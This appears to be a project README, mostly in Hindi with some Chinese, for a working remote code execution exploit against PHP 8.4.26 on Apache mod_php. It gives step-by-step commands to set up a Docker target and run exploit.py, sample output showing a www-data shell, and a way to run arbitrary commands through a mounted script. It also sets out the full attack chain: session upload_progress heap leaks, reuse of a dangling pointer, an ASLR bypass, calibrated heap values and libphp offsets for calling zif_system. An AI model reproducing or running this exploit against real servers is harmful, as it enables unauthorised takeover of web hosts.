
PHP 8.4.26 + Apache mod_php पर session upload_progress heap leak, dangling pointer reuse, और zif_system को कॉल करने के लिए ASLR bypass के माध्यम से RCE प्राप्त करने वाला Pure-HTTP exploit।
中文 | English
"पूर्ण रूप से रिमोट, केवल HTTP का उपयोग, लक्ष्य पृष्ठ में session_start() नहीं, लक्ष्य पक्ष पर कोई PHP नहीं लिखना" की बाधाओं के अंतर्गत, एक exploit.py का उपयोग करके PHP 8.4.26 + Apache prefork + mod_php के RCE को साकार किया गया। आधिकारिक php:8.4.26-apache इमेज पर 3/3 एक-क्लिक सफलता का परीक्षण किया गया है (PROOF: uid=33(www-data)...)। वर्तमान संस्करण के लिए display_errors=1 आवश्यक है; display_errors=0 के साथ शुद्ध HTTP heap leak साकार किया गया है, पूर्ण RCE बाद में सबमिट किया जाएगा।
नीचे शून्य से RCE तक की पूर्ण कमांड दी गई है, पूरे खंड को कॉपी करके निष्पादित करें। यह रिपॉज़िटरी PHP/Apache को कंपाइल नहीं करती, इसमें docker build नहीं है: वातावरण आधिकारिक php:8.4.26-apache इमेज और docker/ के अंतर्गत कॉन्फ़िगरेशन माउंट है।
# 依赖:Docker Engine/Desktop + Docker Compose v2 + Python 3.9+
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) 拉官方镜像(PHP 8.4.26 / Debian 12 / Apache prefork)
docker compose -f docker/docker-compose.yml pull
# 2) 起目标:单 worker、display_errors=On、memory_limit=8M
docker compose -f docker/docker-compose.yml up -d
# 3) 等 Apache 就绪并确认普通页面
for i in $(seq 1 20); do
curl -fsS http://127.0.0.1:8088/index.php >/dev/null 2>&1 && break
sleep 0.5
done
curl -s http://127.0.0.1:8088/index.php # OK
# 4) 一条命令完成整个利用;首次运行会自动读取 libphp 偏移
python3 exploit.py -u http://127.0.0.1:8088/index.php
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
यदि आप पहले से ही रिपॉज़िटरी निर्देशिका में हैं तो
git clone/cdछोड़ दें;pullभी छोड़ा जा सकता है,up -dस्वचालित रूप से इमेज खींच लेगा।
exploit.py स्वचालित रूप से worker रोटेशन, दो-चरणीय लीक, zif_system निष्पादन और proof पढ़ना पूरा करता है, प्रत्येक चरण में अंतर्निहित पुनःप्रयास है। रनटाइम वातावरण:
| घटक | संस्करण | स्रोत |
|---|---|---|
| PHP | 8.4.26 (NTS, mod_php) | php:8.4.26-apache |
| आधार प्रणाली | Debian 12 (bookworm) | ऊपर जैसा ही |
| Apache | 2.4.69 (आधिकारिक इमेज में Debian 12 पैकेज, परीक्षण किया गया) | ऊपर जैसा ही |
| MPM | prefork, एकल worker | docker/apache.conf |
| lab रिपोर्ट में Apache | 2.4.68 (मूल lab में स्वयं संकलित, --profile lab) | पूर्णतः समान चाहिए तो apache/httpd का 2.4.68 tag उपयोग करें |
आधिकारिक इमेज रिपॉज़िटरी: docker-library/php (Docker Hub: php:8.4.26-apache); PHP स्रोत कोड: php/php-src (tag php-8.4.26)।
पहली बार चलाने पर स्वचालित रूप से docker/offsets.py निष्पादित होगा: कंटेनर के अंदर libphp.so से zif_system / zval_ptr_dtor के वास्तविक ऑफ़सेट पढ़कर out/offsets.env में लिखे जाते हैं, exploit.py स्वचालित रूप से लोड करता है, इसलिए आधिकारिक इमेज बदलने या अपग्रेड करने के बाद ऑफ़सेट को मैन्युअल रूप से बदलने की आवश्यकता नहीं है। डिफ़ॉल्ट कमांड id>/out/p1 (10 बाइट) है, कंटेनर में /out रिपॉज़िटरी के ./out पर माउंट होता है, proof सीधे स्थानीय मशीन पर गिरता है:
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] no offsets file; reading libphp symbols from container php2shell-target
zif_system 0x...
zval_ptr_dtor 0x...
[+] chunk base = 0x...
[+] libphp base = 0x...
[*] stage 3: HTDATA=0x... ZIF=0x...
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
payload में कमांड की सीमा 14 बाइट्स है। कोई भी कमांड चलाने के लिए, स्क्रिप्ट को माउंट डायरेक्टरी में लिखें, फिर sh</out/c (8 बाइट्स) से निष्पादित करें:
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'
सामान्य पैरामीटर: --profile, --cmd, --proof-file, --fetch, --zif-offset, --dtor-offset, --htdata-offset, --no-pre-rotate, --retries। डिफ़ॉल्ट profile bookworm (आधिकारिक इमेज) है; मूल lab बिल्ड के लिए --profile lab का उपयोग करें। --offsets-file '' स्वचालित पढ़ने को बंद कर सकता है, जब कंटेनर का नाम php2shell-target न हो तो --docker-container से निर्दिष्ट करें।
bookworm का heap calibration पहले से अंतर्निहित है: stage1 filler संख्या 841; stage2 लक्ष्य array 406, element value की लंबाई 16; stage3 HTDATA=chunk+0x690d8, A का pad 6×(31,31) है, और अतिरिक्त रूप से 32 वर्णों का वैध Cookie: PHPSESSID लेकर B को stale id का पुनः उपयोग कराता है (send_cookie=0), जिससे session का Set-Cookie हेडर R0+16 पर val.type को ओवरराइट नहीं करता; B 15B carrier से reference के val.value को ओवरराइट करता है। आधिकारिक इमेज के libphp offset स्वचालित रूप से zif_system=0x465370, zval_ptr_dtor=0x65eb60 पढ़े जाते हैं; मूल lab 0x43a870 / 0x613c50 का उपयोग करता है।
भेद्यता सतह session.upload_progress का RINIT से पहले ट्रिगर होने वाला session इनिशियलाइज़ेशन है, और OOM bailout के बाद अनुरोधों के पार शेष रह जाने वाला डैंगलिंग पॉइंटर है। नीचे lab बिल्ड को उदाहरण के रूप में लिया गया है; आधिकारिक इमेज के bookworm अंशांकित मान exp के अंत में देखें।
पूरी श्रृंखला का हमला ट्रैफ़िक सामान्य multipart HTTP है, लक्ष्य पृष्ठ केवल <?php echo "OK\n"; ?> है:
worker रोटेशन: A_bigfields (3MB जीवित POST फ़ील्ड + 12MB OOM) के तुरंत बाद एक B आता है जो session इनिशियलाइज़ करेगा, child SIGABRT के साथ बाहर निकल जाता है; prefork द्वारा fork किया गया नया worker वही libphp/chunk मैपिंग विरासत में लेता है।
heap लीक: A 1001 फ़ील्ड से max_input_vars चेतावनी ट्रिगर करता है (display_errors=On → headers_sent=1), PHPSESSID=\x00 नया id बनाता है और send_cookie=1 सेट करता है, अंतिम 12MB फ़ील्ड php_session_initialize() के अंदर OOM होता है, PS(http_session_vars) डैंगलिंग रह जाता है। B 56B multipart raw value बफ़र से पुराने reference पर पुनः कब्ज़ा करता है, और जीवित 192B zend_string से fake HashTable वहन करता है; php_url_encode() का out-of-bounds पठन Zend MM chunk पॉइंटर को Set-Cookie में लिख देता है (4096B, 98 पॉइंटर)।
libphp लीक: A डैंगलिंग PS(id) को chunk+0xb7400 पर रखता है; B का 56B HashTable पेज ZSTR_LEN(PS(id)) को nTableSize=16 पढ़ने देता है, डेटा क्षेत्र ठीक nNextFreeElement|pDestructor है; pDestructor = ZVAL_PTR_DTOR = libphp+0x613c50, Set-Cookie से libphp base निकाला जाता है।
कमांड निष्पादन: A 6 pad से डैंगलिंग reference को R0=chunk+0x24e0 पर स्थिर करता है; B 55B raw buffer से R0-0x10 को ओवरराइट करता है, fake HashTable chunk+0x6e0d8 के 167B जीवित स्ट्रिंग में रखा जाता है, pDestructor = zif_system = libphp+0x43a870। ट्रिगर श्रृंखला:
php_session_track_init()
zval_ptr_dtor(PS(http_session_vars))
zend_reference_destroy(R0)
zval_ptr_dtor(&ref->val) # IS_ARRAY_EX
zend_array_destroy(fake HT)
zend_hash_destroy(fake HT)
pDestructor(&bucket->val) # zif_system
终端只使用 libphp 内的 zif_system,不需要 libc。
session_start():A/B 的 session 初始化发生在 RINIT 前的 multipart 回调里(FILE_START → php_session_rfc1867_update → php_session_initialize();END → php_session_rfc1867_cleanup → php_session_initialize()),与脚本内容无关。php_session_initialize() 内 OOM bailout,PS(http_session_vars) / PS(id) 没有被清空;下一个请求初始化 session 时 php_session_track_init() 对它执行 zval_ptr_dtor。Set-Cookie 越界读分别给出 chunk base 和 libphp base;阶段之间用纯 HTTP abort/fork 换 worker,地址空间不变;终端不依赖 libc。session_unset() + 用户态 __destruct 的 Defect D(arData UAF)已在自定义 PHP 页面取得 RCE(NOASLR_REPORT.md),但违反“不写特定 PHP”约束,仅作机制参考。地址/偏移(相对 chunk 或 libphp,与 ASLR 无关):